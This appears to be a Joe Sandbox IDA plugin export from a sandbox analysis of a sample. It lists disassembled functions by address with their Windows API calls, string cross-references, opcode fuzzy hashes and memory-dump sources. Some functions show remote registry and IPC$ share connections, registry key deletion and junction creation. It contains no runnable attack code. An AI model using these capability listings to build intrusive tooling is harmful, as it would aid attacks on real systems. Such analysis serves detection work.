Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: b57d5fda3a03d204a9f15e5e5a7d952def51a1f51ad94edfd6944a09aafe8cb3
Instruction ID: 92bb04485839c4f9e4d08e0443dd7f5ed2faa34b03872afbb6c0b8b88e9be05d
Opcode Fuzzy Hash: b57d5fda3a03d204a9f15e5e5a7d952def51a1f51ad94edfd6944a09aafe8cb3
Instruction Fuzzy Hash: 6791C271604607AFD718DF24C986FEAB7A9FF443A0F00852DF999C2190DB34EA45EB91

Function 00FC4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00FC4994
GetWindowTextW.USER32(?,?,00000400), ref: 00FC49DA
_wcslen.LIBCMT ref: 00FC49EB
CharUpperBuffW.USER32(?,00000000), ref: 00FC49F7
_wcsstr.LIBVCRUNTIME ref: 00FC4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00FC4A64
GetWindowTextW.USER32(?,?,00000400), ref: 00FC4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00FC4AE6
GetClassNameW.USER32(?,?,00000400), ref: 00FC4B20
GetWindowRect.USER32(?,?), ref: 00FC4B8B

Strings

ThumbnailClass, xrefs: 00FC4A6F, 00FC4AF1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 2f5a10797ed83f7e387771603649518ce0c3ca139232b9524ac75723247b29c9
Instruction ID: 349462001913047953beb7b8f1ff715d778be64f10c9740ecde530474235998c
Opcode Fuzzy Hash: 2f5a10797ed83f7e387771603649518ce0c3ca139232b9524ac75723247b29c9
Instruction Fuzzy Hash: 9C919E7140820A9FDB04DF14CA96FAA77E8FF84324F04846DFD859A096DB34ED45EBA1

Function 00FF8D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00FF8D5A
GetFocus.USER32 ref: 00FF8D6A
GetDlgCtrlID.USER32(00000000), ref: 00FF8D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00FF8E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00FF8ECF
GetMenuItemCount.USER32(?), ref: 00FF8EEC
GetMenuItemID.USER32(?,00000000), ref: 00FF8EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00FF8F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00FF8F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00FF8FA1

Strings

0, xrefs: 00FF8E9F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 099c2475e5daa4ff221abfe8e613092b71e79539275e7c844b144b8828596ff6
Instruction ID: 847254e9edaa2003f0ea318157d2cfb2af66d407a5e8096b4d3514b0a0be7daa
Opcode Fuzzy Hash: 099c2475e5daa4ff221abfe8e613092b71e79539275e7c844b144b8828596ff6
Instruction Fuzzy Hash: FA819F719083199FD710CF14C884ABB7BE9FF883A4F140959FA85972A1DB70D906EBA1

Function 00FCDC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00FCDC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00FCDC46
_wcslen.LIBCMT ref: 00FCDC50
_wcsstr.LIBVCRUNTIME ref: 00FCDCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00FCDCBC

Strings

StringFileInfo\, xrefs: 00FCDC8F
\VarFileInfo\Translation, xrefs: 00FCDCB4
DefaultLangCodepage, xrefs: 00FCDD1F
%u.%u.%u.%u, xrefs: 00FCDD9A
04090000, xrefs: 00FCDCF2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 540c02969ed8e9a19a7a12ee578cb8ce47138541b75d8ea38bc00c302c685c58
Instruction ID: 747f6ebf9a38c9d9d72ee7abacf0cdb97c38c884d1de54e78f04d39c8fcc71eb
Opcode Fuzzy Hash: 540c02969ed8e9a19a7a12ee578cb8ce47138541b75d8ea38bc00c302c685c58
Instruction Fuzzy Hash: BE413472D0021A7ADB04B7749D03FFF37ACDF41720F10006EFA05A6192EA799901B7A5

Function 00FECC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00FECC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00FECC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00FECD48

Part of subcall function 00FECC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00FECCAA
Part of subcall function 00FECC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00FECCBD
Part of subcall function 00FECC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00FECCCF
Part of subcall function 00FECC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00FECD05
Part of subcall function 00FECC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00FECD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00FECCF3

Strings

RegDeleteKeyExW, xrefs: 00FECCC9
advapi32.dll, xrefs: 00FECCB8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: dc6e191c748464f4da5d295000269b7c6b96186e5f87318f3bcccd0731d036cf
Instruction ID: bdeb0e9eea425af77d7cd70ae9798363d2d2e3115bb345a7f597a0ea6fe2c260
Opcode Fuzzy Hash: dc6e191c748464f4da5d295000269b7c6b96186e5f87318f3bcccd0731d036cf
Instruction Fuzzy Hash: 07316C72D0116DBBDB208B56DC88EFFBB7CEF55750F000165F916E2200DA749A46EAE0

Function 00FD3D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00FD3D40
_wcslen.LIBCMT ref: 00FD3D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FD3D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00FD3DBE
RemoveDirectoryW.KERNEL32(?), ref: 00FD3DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00FD3E55
CloseHandle.KERNEL32(00000000), ref: 00FD3E60
CloseHandle.KERNEL32(00000000), ref: 00FD3E6B

Strings

\, xrefs: 00FD3D77
\??\%s, xrefs: 00FD3D5B
:, xrefs: 00FD3D82

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: a5d478a80693e30960ccebb9b3126b6559e3627d2dbac3d9cd5078f9a032861e
Instruction ID: 136f9df52fc4d2597e9996b9f76949b031cf470fdc21021463cfe8daf5c12b2c
Opcode Fuzzy Hash: a5d478a80693e30960ccebb9b3126b6559e3627d2dbac3d9cd5078f9a032861e
Instruction Fuzzy Hash: 9031907290021DAADB209BA0DC49FEB37BEEF88750F1440B6F609D6160E7749744EB65

Function 00FCE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00FCE6B4

Part of subcall function 00F7E551: timeGetTime.WINMM(?,?,00FCE6D4), ref: 00F7E555

Sleep.KERNEL32(0000000A), ref: 00FCE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00FCE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00FCE727
SetActiveWindow.USER32 ref: 00FCE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00FCE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00FCE773
Sleep.KERNEL32(000000FA), ref: 00FCE77E
IsWindow.USER32 ref: 00FCE78A
EndDialog.USER32(00000000), ref: 00FCE79B

Strings

BUTTON, xrefs: 00FCE719

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 6d725940e4ba8c778b43c0cbbfae487d9b2bac4cfb7bd1bbe64193e52ff8b5c4
Instruction ID: 5bf018655be91238677041ba424bd8f13f6b95d118930e86f7599569c0f389d1
Opcode Fuzzy Hash: 6d725940e4ba8c778b43c0cbbfae487d9b2bac4cfb7bd1bbe64193e52ff8b5c4
Instruction Fuzzy Hash: E121D47120060EAFEB105F21EE8AF353B6DFF58748B045428F455C1161DB7AAC10FB50

Function 00FCE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00FCEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00FCEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00FCEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00FCEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00FCEAA7

Strings

alias PlayMe, xrefs: 00FCEA36
play PlayMe wait, xrefs: 00FCEA91
play PlayMe, xrefs: 00FCEAA2
status PlayMe mode, xrefs: 00FCEA58
open , xrefs: 00FCEA0C
close PlayMe, xrefs: 00FCEA6E, 00FCEA9B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: a116f92be7518dc8b3041ef867f9a0eba27e592dbaae5b7ed8e33c2f0c90cd00
Instruction ID: ed759696a4ff97c77629d632fe1cd09e0af98af4053b5b26885cf82be3ea897b
Opcode Fuzzy Hash: a116f92be7518dc8b3041ef867f9a0eba27e592dbaae5b7ed8e33c2f0c90cd00
Instruction Fuzzy Hash: D1117031B9026A7DD720A7A2DD4AEFF7A7CEBD2B10F40042DB841A6091EEA51905D9B0

Function 00FC5CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00FC5CE2
GetWindowRect.USER32(00000000,?), ref: 00FC5CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00FC5D59
GetDlgItem.USER32(?,00000002), ref: 00FC5D69
GetWindowRect.USER32(00000000,?), ref: 00FC5D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00FC5DCF
GetDlgItem.USER32(?,000003E9), ref: 00FC5DDD
GetWindowRect.USER32(00000000,?), ref: 00FC5DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00FC5E31
GetDlgItem.USER32(?,000003EA), ref: 00FC5E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00FC5E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00FC5E67

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 37d5e5374f89282a33d3e3a887f26454f862f62c0c44eda0b05c03fe6ff7988d
Instruction ID: 28eb1dfabc79e590262a3cea9247d6550ce051628db1eed62efd51d8c26fbf37
Opcode Fuzzy Hash: 37d5e5374f89282a33d3e3a887f26454f862f62c0c44eda0b05c03fe6ff7988d
Instruction Fuzzy Hash: 9A511071A0061AAFDF18CF68DE89EAE7BB9AF48710F108129F516E7290D770AD40DB50

Function 00F78BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00F78F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F78BE8,?,00000000,?,?,?,?,00F78BBA,00000000,?), ref: 00F78FC5

DestroyWindow.USER32(?), ref: 00F78C81
KillTimer.USER32(00000000,?,?,?,?,00F78BBA,00000000,?), ref: 00F78D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00FB6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00F78BBA,00000000,?), ref: 00FB69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00F78BBA,00000000,?), ref: 00FB69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00F78BBA,00000000), ref: 00FB69D4
DeleteObject.GDI32(00000000), ref: 00FB69E6

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 91a6783a3bdb34fb6ebda43d228a556fa8cd7dad340adf8128fdad4246ff865a
Instruction ID: 406f02537375dd3da5eb23f8b8b50ba0cf009e3e7b7984c6e695f936442f3c19
Opcode Fuzzy Hash: 91a6783a3bdb34fb6ebda43d228a556fa8cd7dad340adf8128fdad4246ff865a
Instruction Fuzzy Hash: 9161BE31901614DFCB329F15DA4CB65B7F5FF44362F14852AE086965A0CB3AA882EF92

Function 00F79838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00F79944: GetWindowLongW.USER32(?,000000EB), ref: 00F79952

GetSysColor.USER32(0000000F), ref: 00F79862

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 04ddc33199a85cbf0bb42755f87be09cf7f68423892f50e89356d445f701a20d
Instruction ID: 6e2615880fa1808ca3c202886f1e7e6556cea0f39a273a6708a347258828c8cb
Opcode Fuzzy Hash: 04ddc33199a85cbf0bb42755f87be09cf7f68423892f50e89356d445f701a20d
Instruction Fuzzy Hash: 2841F531508618AFDB209F38DC84BB93769EB47330F588646F9A6872E1C3719C41FB52

Function 00FC96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00FAF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00FC9717
LoadStringW.USER32(00000000,?,00FAF7F8,00000001), ref: 00FC9720

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00FAF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00FC9742
LoadStringW.USER32(00000000,?,00FAF7F8,00000001), ref: 00FC9745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00FC9866

Strings

Line %d:, xrefs: 00FC97A0
%s (%d) : ==> %s: %s %s, xrefs: 00FC984A
Line %d (File "%s"):, xrefs: 00FC978F
^ ERROR, xrefs: 00FC97FB
Error: , xrefs: 00FC981D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: d1980bc0204779be9f0429e2e5a207f028d4dbdf01281885264b0121a9cdb15f
Instruction ID: a1ff0d0b955fc200cb390487fa0d95793271c427dac5f2f2777db13489c079ae
Opcode Fuzzy Hash: d1980bc0204779be9f0429e2e5a207f028d4dbdf01281885264b0121a9cdb15f
Instruction Fuzzy Hash: 64413E7280421AAACB04EBE0DE47EEE777DEF55340F500069F505B2192EB796F48EB61

Function 00FC06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00FC07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00FC07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00FC07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00FC0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00FC082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00FC0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00FC083C

Strings

SOFTWARE\Classes\, xrefs: 00FC070E
\CLSID, xrefs: 00FC0724
\IPC$, xrefs: 00FC0784

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 4a6d17ff001e3daa2501b8d1f1ab2faa28b84b56105f6389fe9ca591b1346d9b
Instruction ID: 8f9116346dfd0e8ac6f43dde34b2f5ee5b7585354ab23e5a00577c28a4d3b5ae
Opcode Fuzzy Hash: 4a6d17ff001e3daa2501b8d1f1ab2faa28b84b56105f6389fe9ca591b1346d9b
Instruction Fuzzy Hash: 1A414472C0022DABDF15EBA0DD86DEDB778FF44750B044129E901B31A0EB74AE05EBA0

Function 00FE3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FE3C5C
CoInitialize.OLE32(00000000), ref: 00FE3C8A
CoUninitialize.OLE32 ref: 00FE3C94
_wcslen.LIBCMT ref: 00FE3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00FE3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00FE3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00FE3F0E
CoGetObject.OLE32(?,00000000,00FFFB98,?), ref: 00FE3F2D
SetErrorMode.KERNEL32(00000000), ref: 00FE3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00FE3FC4
VariantClear.OLEAUT32(?), ref: 00FE3FD8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 8e351d122d23cd83761e184ee764885b4b68481b34b47912728d56512f0b2206
Instruction ID: 3717a1e4d2d9477077a8f4bbddd3dd74679e5d1ba79c16265fa9185562444b4b
Opcode Fuzzy Hash: 8e351d122d23cd83761e184ee764885b4b68481b34b47912728d56512f0b2206
Instruction Fuzzy Hash: BDC167716083499FC710DF29C88892BB7E9FF89754F10495DF98A9B260D730EE05DB92

Function 00FD7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FD7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00FD7B8F
SHGetDesktopFolder.SHELL32(?), ref: 00FD7BA3
CoCreateInstance.OLE32(00FFFD08,00000000,00000001,01026E6C,?), ref: 00FD7BEF
